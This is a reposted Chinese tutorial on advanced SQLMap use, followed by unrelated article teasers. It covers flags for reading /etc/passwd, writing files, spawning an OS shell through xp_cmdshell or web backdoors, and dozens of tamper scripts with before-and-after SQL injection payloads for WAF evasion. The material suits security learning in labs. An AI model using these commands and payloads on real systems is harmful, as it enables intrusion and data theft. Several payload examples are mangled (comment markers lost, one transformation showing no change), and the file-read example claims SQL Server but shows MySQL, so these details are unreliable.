最新SQLMap进阶技术

SQLMap进阶:参数讲解

(1)–level 5:探测等级。

参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP Cookie在等级为2时会进行测试,HTTP User-Agent/Referer头在等级为3时会进行测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的等级值。

(2)–is-dba:当前用户是否有管理权限。

该命令用于查看当前账户是否为数据库管理员账户,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --is-dba

在本例中输入该命令,会返回True,如图3-15所示。
在这里插入图片描述

(3)–roles:查看数据库用户的角色。

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,则输入该命令会列举出每个用户的角色,也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。

在这里插入图片描述

(4)–referer:HTTP Referer头。

SQLMap可以在请求中伪造HTTP中的Referer,当参数“–level”设定为3或3以上时,会尝试对Referer注入。可以使用参数“–referer”伪造一个HTTP Referer头,如–referer http://10.211.55.6。

(5)–sql-shell:运行自定义SQL语句。

该命令用于执行指定的SQL语句,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --sql-shell

假设执行“select * from security.users limit 0,2”语句,结果如图3-17所示。

在这里插入图片描述

(6)–os-cmd或–os-shell:运行任意操作系统命令。

当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,可以使用参数“–os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL,则SQLMap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server,则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用(在Microsoft SQL Server 2005及以上版本中默认被禁用),则SQLMap会重新启用它;如果xp_cmdshell不存在,则SQLMap将创建它。

使用参数“–os-shell”可以模拟一个真实的Shell,与服务器进行交互。当不能执行多语句时(如PHP或ASP的后端数据库为MySQL),SQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门,从而执行命令。参数“–os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。

(7)–file-read:从数据库服务器中读取执行文件。

该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。下面以Microsoft SQL Server 2005为例,说明参数“–file-read”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-read "/etc/passwd" -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] 
[17:45:19] [INFO] the local file '/root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file)

(8)–file-write和–file-dest:将本地文件写入数据库服务器。

该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子说明参数“–file-write”和“–file-dest”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-write "./1.txt"  --file-dest "/tmp/1.txt" -v 1

SQLMap自带tamper绕过脚本的讲解

为了防止注入语句中出现单引号,SQLMap默认情况下会使用CHAR()函数。除此之外,没有对注入的数据进行其他修改。读者可以通过使用参数“–tamper”对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则,命令如下:

python sqlmap.py XXXXX --tamper “模块名”

目前,官方提供了多个绕过脚本,下面是一个tamper绕过脚本的格式。

# sqlmap/tamper/escapequotes.py


from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOWEST


def dependencies():
    pass


def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。

(1)priority变量定义脚本的优先级,用于有多个tamper绕过脚本的情况。

(2)dependencies函数声明该脚本适用/不适用的范围,可以为空。

下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,kwargs)函数接收payload和kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符,将所有Payload中的字符转换为大写字母。

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()
            if word.upper() in kb.keywords:
                retVal = retVal.replace(word, word.upper())
    return retVal

在日常使用中,我们会对一些网站是否有安全防护进行试探,可以使用参数“–identify-waf”进行检测。

下面介绍一些常用的tamper绕过脚本。

(1)apostrophemask.py。

作用:将引号替换为UTF-8格式,用于过滤单引号。

使用脚本前的语句如下:

1 AND ‘1’='1

使用脚本后的语句如下:

AND %EF%BC%871%EF%BC%87=%EF%BC%871

(2)base64encode.py。

作用:将请求参数进行Base64编码。

使用脚本前的语句如下:

1’ AND SLEEP(5)#

使用脚本后的语句如下:

MScgQU5EIFNMRUVQKDUpIw==

(3)multiplespaces.py。

作用:在SQL语句的关键字中间添加多个空格。

使用脚本前的语句如下:

1 UNION SELECT foobar

使用脚本后的语句如下:

1 UNION SELECT foobar

(4)space2plus.py。

作用:用加号(+)替换空格。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT+id+FROM+users

(5)nonrecursivereplacement.py。

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将“SELECT”替换为空)。

使用脚本前的语句如下:

1 UNION SELECT 2–

使用脚本后的语句如下:

1 UNIOUNIONN SELESELECTCT 2–

(6)space2randomblank.py。

作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%0Did%0DFROM%0Ausers

(7)unionalltounion.py。

作用:将“UNION ALL SELECT”替换为“UNION SELECT”。

使用脚本前的语句如下:

-1 UNION ALL SELECT

使用脚本后的语句如下:

-1 UNION SELECT

(8)securesphere.py。

作用:追加特制的字符串。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1 and ‘0having’=‘0having’

(9)space2hash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227

(10)space2mssqlblank.py。

作用:将空格替换为其他空符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下。

SELECT%0Eid%0DFROM%07users

(11)space2mssqlhash.py。

作用:将空格替换为井字号(#),并添加一个换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23%0AAND%23%0A9227=9227

(12)between.py。

作用:用“NOT BETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)。

使用脚本前的语句如下:

1 AND A > B–

使用脚本后的语句如下:

1 AND A NOT BETWEEN 0 AND B–

使用脚本前的语句如下:

1 AND A = B–

使用脚本后的语句如下:

1 AND A BETWEEN B AND B–

(13)percentage.py。

作用:ASP语言允许在每个字符前面添加一个百分号(%)。

使用脚本前的语句如下:

SELECT FIELD FROM TABLE

使用脚本后的语句如下:

%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E

(14)sp_password.py。

作用:将“sp_password”追加到Payload的未尾。

使用脚本前的语句如下:

1 AND 9227=9227–

使用脚本后的语句如下:

1 AND 9227=9227-- sp_password

(15)charencode.py。

作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

(16)randomcase.py。

作用:在SQL语句中,对关键字进行随机大小写转换。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

InsERt

(17)charunicodeencode.py。

作用:对SQL语句进行字符串unicode编码。

使用脚本前的语句如下:

SELECT FIELD%20FROM TABLE

使用脚本后的语句如下:

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

(18)space2comment.py。

作用:将空格替换为“/**/”。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT//id//FROM/**/users

(19)equaltolike.py。

作用:将等号(=)替换为“like”。

使用脚本前的语句如下:

SELECT * FROM users WHERE id=1

使用脚本后的语句如下:

SELECT * FROM users WHERE id LIKE 1

(20)greatest.py。

作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号。

使用脚本前的语句如下:

1 AND A > B

使用脚本后的语句如下:

1 AND GREATEST(A,B+1)=A

测试通过的数据库类型和版本如下。

— MySQL 4、MySQL 5.0和MySQL 5.5。

— Oracle 10g。

— PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。

(21)ifnull2ifisnull.py。

作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。

使用脚本前的语句如下:

IFNULL(1, 2)

使用脚本后的语句如下:

IF(ISNULL(1),2,1)

该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。

(22)modsecurityversioned.py。

作用:过滤空格,通过MySQL内联注释的方式进行注入。

使用脚本前的语句如下:

1 AND 2>1–

使用脚本后的语句如下:

1 /!30874AND 2>1/–

该tamper脚本可在MySQL 5.0数据库中使用。

(23)space2mysqlblank.py。

作用:将空格替换为其他空白符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%A0id%0BFROM%0Cusers

该tamper脚本可在MySQL 5.1数据库中使用。

(24)modsecurityzeroversioned.py。

作用:通过MySQL内联注释的方式(/!00000/)进行注入。

使用脚本前的语句如下:

1 AND 2>1–

使用脚本后的语句如下:

1 /!00000AND 2>1/–

该tamper脚本可在MySQL 5.0数据库中使用。

(25)space2mysqldash.py。

作用:将空格替换为“–”,并添加一个换行符。

使用脚本前的语句如下。

1 AND 9227=9227

使用脚本后的语句如下。

1–%0AAND–%0A9227=9227

(26)bluecoat.py。

作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号。

使用脚本前的语句如下:

SELECT id FROM users where id = 1

使用脚本后的语句如下:

SELECT%09id FROM%09users WHERE%09id LIKE 1

该tamper脚本可在MySQL 5.1和SGOS数据库中使用。

(27)versionedkeywords.py。

作用:绕过注释。

使用脚本前的语句如下:

UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))#

使用脚本后的语句如下:

/!UNION**!ALL**!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

(28)halfversionedmorekeywords.py。

作用:当数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本的注释。

使用脚本前的语句如下:

value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa

使用脚本后的语句如下:

value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa

该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。

(29)space2morehash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227

该tamper脚本可在MySQL 5.1.41数据库中使用。

(30)apostrophenullencode.py。

作用:用非法双字节unicode字符替换单引号。

使用脚本前的语句如下:

1 AND ‘1’='1

使用脚本后的语句如下:

1 AND %00%271%00%27=%00%271

(31)appendnullbyte.py。

作用:在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1%00

(32)chardoubleencode.py。

作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

(33)unmagicquotes.py。

作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。

使用脚本前的语句如下:

1’ AND 1=1

使用脚本后的语句如下:

1%bf%27–

(34)randomcomments.py。

作用:用“/**/”分割SQL关键字。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

IN//S//ERT

虽然SQLMap自带的tamper绕过脚本可以做很多事情,但实际环境往往比较复杂,tamper绕过脚本无法应对所有情况,因此建议读者在学习如何使用自带的tamper绕过脚本的同时,掌握tamper绕过脚本的编写规则,这样在应对各种实战环境时能更自如。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/90352.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Flask入门一 ——虚拟环境及Flask安装

Flask入门一 ——虚拟环境及Flask安装 在大多数标准中,Flask都算是小型框架,小到可以称为“微框架”,但是并不意味着他比其他框架功能少。Flask自开发伊始就被设计为可扩展的框架。Flask具有一个包含基本服务的强健核心,其他功能…

element-ui table中使用type=‘selection‘ 实现禁用,勾选,默认选中不可修改 三种状态显示问题

element-ui table中使用type‘selection’ 实现禁用,勾选,默认选中不可修改 三种状态显示问题 实现效果 需求 1.status‘CheckOk 时 勾选框默认选中但不可修改勾选状态 2.status‘CheckFail 时 勾选框禁用 3.status‘ 时 勾选框可以勾选 实现思路 采…

Selenium 捕获 console logs (Java)

目录 启用日志记录功能 有时候在进行自动化测试的时候控制台输出会帮忙定位问题,所以捕获控制台输出就显得很重要了~ 以下以selenium 4为例: 我们可以使用driver.manage().logs().get(LogType.BROWSER)代码在Selenium中检索日志,该代码将返回…

Java单元测试 JUnit 5 快速上手

一、背景 什么是 JUnit 5?首先就得聊下 Java 单元测试框架 JUnit,它与另一个框架 TestNG 占据了 Java领域里单元测试框架的主要市场,其中 JUnit 有着较长的发展历史和不断演进的丰富功能,备受大多数 Java 开发者的青睐。 而说到…

LLM-chatgpt训练过程

流程简介 主要包含模型预训练和指令微调两个阶段 模型预训练&#xff1a;搜集海量的文本数据&#xff0c;无监督的训练自回归decoder&#xff1b; O T P ( O t < T ) O_TP(O_{t<T}) OT​P(Ot<T​)&#xff0c;损失函数CE loss指令微调&#xff1a;在输入文本中加入…

Windows命令行调用main函数

通常C/C的入口函数都是main函数&#xff0c;平常一般使用的原型都是 int main() ;但是&#xff0c;实际上&#xff0c;main函数也可以有参数 int main(intargc[ ,char*argv[] [,char*envp[] ] ] ); int wmain(intargc[ ,wchar_t*argv[] [,wchar_t*envp[] ] ] );//适用于这种带…

P1065 [NOIP2006 提高组] 作业调度方案

题目描述 我们现在要利用 m m m 台机器加工 n n n 个工件&#xff0c;每个工件都有 m m m 道工序&#xff0c;每道工序都在不同的指定的机器上完成。每个工件的每道工序都有指定的加工时间。 每个工件的每个工序称为一个操作&#xff0c;我们用记号 j-k 表示一个操作&…

苹果新健康专利:利用 iPhone、Apple Watch 来分析佩戴者的呼吸情况

根据美国商标和专利局&#xff08;USPTO&#xff09;公示的清单&#xff0c;苹果获得了一项健康相关的技术专利&#xff0c;可以利用 iPhone、Apple Watch 来分析佩戴者的呼吸系统。 苹果在专利中概述了一种测量用户呼吸功能的系统&#xff0c;通过 iPhone 上的光学感测单元&am…

万界星空科技/免费MES系统/免费质量检测系统

质量管理也是万界星空科技免费MES中的一个重要组成部分&#xff0c;旨在帮助制造企业实现全面的质量管理。该系统涵盖了供应商来料、生产过程、质量检验、数据分析等各个环节&#xff0c;为企业提供了一站式的质量管理解决方案。 1. 实时质量监控 质量管理能够实时监控生产过程…

小米AI音箱联网升级折腾记录(解决配网失败+升级失败等问题)

小米AI音箱&#xff08;一代&#xff09;联网升级折腾记录 我折腾了半天终于勉强能进入下载升级包这步&#xff0c;算是成功一半吧… 总结就是&#xff0c;网络信号一定要好&#xff0c;需要不停换网找到兼容的网&#xff0c;还需要仔细配置DNS让音响连的上api.mina.mi.com 推荐…

计算机竞赛 基于大数据的社交平台数据爬虫舆情分析可视化系统

文章目录 0 前言1 课题背景2 实现效果**实现功能****可视化统计****web模块界面展示**3 LDA模型 4 情感分析方法**预处理**特征提取特征选择分类器选择实验 5 部分核心代码6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于大数据…

手把手教你从0开始部署Kubernetes(K8s 1.28.x)---超详细

目录 一、基础环境配置&#xff08;所有主机均要配置&#xff09; 1、配置IP地址和主机名、hosts解析 2、关闭防火墙、禁用SELinux 3、安装常用软件 4、配置时间同步 5、禁用Swap分区 6、修改linux的内核参数 7、配置ipvs功能 二、容器环境操作 1、定制软件源 2、安…

Config:客户端连接服务器访问远程

springcloud-config: springcloud-config push pom <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocatio…

Oracle 如何给大表添加带有默认值的字段

一、讲故事 你是否遇到过开发人员添加字段&#xff0c;导致数据库锁表问题&#xff1f; 但是令开发疑惑的事&#xff0c;他们添加字段&#xff0c;有的时候很快&#xff0c;有的时候很慢&#xff1f; 为什么呢&#xff1f; 询问得知&#xff0c;**加的慢时候是带上了default默…

网络编程——套接字和字节序

目录 一、BSD套接字接口1.1 套接字类型1.2 套接字的位置 二、字节序2.1 大小端2.2 大小端判断2.3 主机字节序和网络字节序2.4 字节序转换函数 一、BSD套接字接口 BSD套接字接口是BSD的进程间通信的方式&#xff0c;它不仅支持各种形式的网络应用而且它还是一种进程间通信的机制…

MaBatis中的分页插件以及特殊字符处理

目录 一、PageHelper介绍 二、PageHelper使用 1. 导入pom依赖 2. Mybatis.cfg.xml 配置拦截器 配置sql映射文件 测试代码 特殊字符处理 2. 使用CDATA 区段 一、PageHelper介绍 PageHelper 是 Mybatis 的一个插件&#xff0c;这里就不扯了&#xff0c;就是为了更加便捷的进…

《Go 语言第一课》课程学习笔记(十)

复合数据类型 同构复合类型&#xff1a;从定长数组到变长切片 由多个同构类型&#xff08;相同类型&#xff09;或异构类型&#xff08;不同类型&#xff09;的元素的值组合而成&#xff0c;这类数据类型在 Go 语言中被称为复合类型。 数组有哪些基本特性&#xff1f; Go 语…

ubuntu学习(四)----文件写入操作编程

1、write函数的详解 ssize_t write(int fd,const void*buf,size_t count); 参数说明&#xff1a; fd:是文件描述符&#xff08;write所对应的是写&#xff0c;即就是1&#xff09; buf:通常是一个字符串&#xff0c;需要写入的字符串 count&#xff1a;是每次写入的字节数…

【宝藏系列】一文带你梳理 Linux 的五种 IO 模型

【宝藏系列】一文带你梳理 Linux 的五种 IO 模型 文章目录 【宝藏系列】一文带你梳理 Linux 的五种 IO 模型&#x1f468;‍&#x1f3eb;前言1️⃣用户态和核心态1️⃣1️⃣用户态和核心态的切换 2️⃣进程切换3️⃣进程阻塞4️⃣文件描述符(fd, File Descriptor)5️⃣缓存I/O…

[Go版]算法通关村第十三关白银——数字数学问题之数组实现加法、幂运算

目录 数组实现加法专题题目&#xff1a;数组实现整数加法思路分析&#xff1a;数组末尾开始&#xff0c;逐个元素1&#xff0c;10就进位&#xff0c;!10就退出复杂度&#xff1a;时间复杂度 O ( n ) O(n) O(n)、空间复杂度 O ( n ) O(n) O(n)Go代码 题目&#xff1a;字符串加法…
最新文章